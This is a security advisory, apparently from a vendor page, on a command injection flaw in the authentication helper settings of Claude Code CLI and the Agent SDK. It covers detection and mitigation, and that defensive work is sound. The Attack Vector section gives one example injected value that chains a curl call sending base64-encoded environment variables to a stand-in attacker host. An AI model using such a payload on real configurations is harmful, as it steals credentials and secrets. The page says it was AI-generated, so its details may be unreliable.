CVE-2026-35022 Overview
Anthropic Claude Code CLI and Claude Agent SDK contain a critical OS command injection vulnerability (CWE-78) in the authentication helper execution mechanism. The vulnerability exists because helper configuration values are executed using shell=true without proper input validation. Attackers who can influence authentication settings can inject shell metacharacters through parameters like apiKeyHelper, awsAuthRefresh, awsCredentialExport, and gcpAuthRefresh to execute arbitrary commands with the privileges of the user or automation environment, enabling credential theft and environment variable exfiltration.
Critical Impact
This vulnerability enables remote attackers to execute arbitrary OS commands with user or automation environment privileges, potentially leading to credential theft, environment variable exfiltration, and full system compromise in CI/CD pipelines.
Affected Products
- Anthropic Claude Code CLI
- Anthropic Claude Agent SDK
Discovery Timeline
- 2026-04-06 - CVE CVE-2026-35022 published to NVD
- 2026-04-07 - Last updated in NVD database
Technical Details for CVE-2026-35022
Vulnerability Analysis
The vulnerability stems from improper handling of user-controllable input in authentication helper configurations. When the Claude Code CLI or Claude Agent SDK processes authentication helper settings, it invokes external processes using a shell interpreter (shell=true) without sanitizing or validating the input values. This architectural flaw allows attackers to break out of the intended command context by injecting shell metacharacters such as semicolons, backticks, or pipe operators.
The authentication helper mechanism is designed to retrieve credentials dynamically from external sources, a common pattern in cloud-native environments. However, the implementation fails to treat these configuration values as potentially hostile input. When parameters like apiKeyHelper, awsAuthRefresh, awsCredentialExport, or gcpAuthRefresh are processed, the entire string is passed to a shell for execution, enabling command chaining and arbitrary code execution.
This vulnerability is particularly dangerous in CI/CD environments where these tools are commonly deployed. Automation systems often run with elevated privileges and have access to sensitive credentials, API keys, and cloud provider tokens. An attacker exploiting this vulnerability could exfiltrate all environment variables, steal authentication tokens, or establish persistent access to the compromised system.
Root Cause
The root cause is the use of shell=true when executing authentication helper commands without implementing proper input validation or sanitization. The code directly passes user-controllable configuration values to shell execution, violating the principle of treating all external input as untrusted. Proper remediation requires either switching to shell-free process execution methods or implementing strict allowlisting and input sanitization for helper command parameters.
Attack Vector
The attack vector is network-based, requiring an attacker to influence the authentication helper configuration. This can occur through multiple scenarios: compromised configuration files, malicious repository settings in CI/CD environments, man-in-the-middle attacks on configuration delivery, or social engineering users to modify their local settings. Once the malicious configuration is in place, the next invocation of the authentication helper triggers command execution.
The attacker injects shell metacharacters into one of the vulnerable parameters (e.g., apiKeyHelper). For example, a value like echo api-key; curl attacker.com/exfil?data=$(env|base64) would first attempt to execute the legitimate command, then exfiltrate all environment variables to an attacker-controlled server. Since the command runs with the user's privileges, any credentials, tokens, or secrets accessible to that user are at risk.
Detection Methods for CVE-2026-35022
Indicators of Compromise
- Unexpected outbound network connections from systems running Claude Code CLI or Claude Agent SDK
- Unusual process spawning patterns where Claude-related processes launch shell commands containing metacharacters
- Configuration files containing shell metacharacters (;, |, `, $()) in authentication helper parameters
- Evidence of environment variable enumeration or credential harvesting in process execution logs
Detection Strategies
- Monitor process execution chains for Claude Code CLI or Claude Agent SDK spawning unexpected child processes
- Implement configuration file integrity monitoring to detect unauthorized modifications to authentication helper settings
- Deploy endpoint detection rules that alert on shell command patterns typical of injection attacks (command chaining, base64-encoded payloads)
- Review CI/CD pipeline logs for anomalous authentication helper behavior or unexpected external network requests
Monitoring Recommendations
- Enable detailed logging for all authentication helper executions in Claude Code CLI and Claude Agent SDK deployments
- Implement network egress monitoring to detect unauthorized data exfiltration attempts
- Configure SIEM rules to correlate authentication helper invocations with subsequent suspicious process or network activity
- Establish baseline behavior for normal authentication helper operations to identify deviations
How to Mitigate CVE-2026-35022
Immediate Actions Required
- Audit all Claude Code CLI and Claude Agent SDK configurations for shell metacharacters in authentication helper parameters
- Restrict write access to configuration files containing authentication helper settings
- Implement network segmentation to limit the blast radius of potential credential exfiltration
- Consider disabling authentication helpers temporarily in high-risk environments until patches are applied
Patch Information
Users should monitor official Anthropic security advisories and the VulnCheck Advisory for patch availability. Apply security updates immediately when released. For additional technical analysis, refer to the Phoenix Security Analysis.
Workarounds
- Implement strict input validation at the environment level to prevent shell metacharacters from being processed
- Use wrapper scripts that sanitize authentication helper parameters before passing them to the CLI
- Deploy application-level firewalls or security policies that block command injection patterns
- Rotate all credentials that may have been accessible to potentially compromised environments
# Configuration example: Validate helper parameters before use
# Check for common shell metacharacters in configuration
grep -E '[;|`$()]' ~/.claude/config.json && echo "WARNING: Potential injection detected"
# Restrict configuration file permissions
chmod 600 ~/.claude/config.json
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.


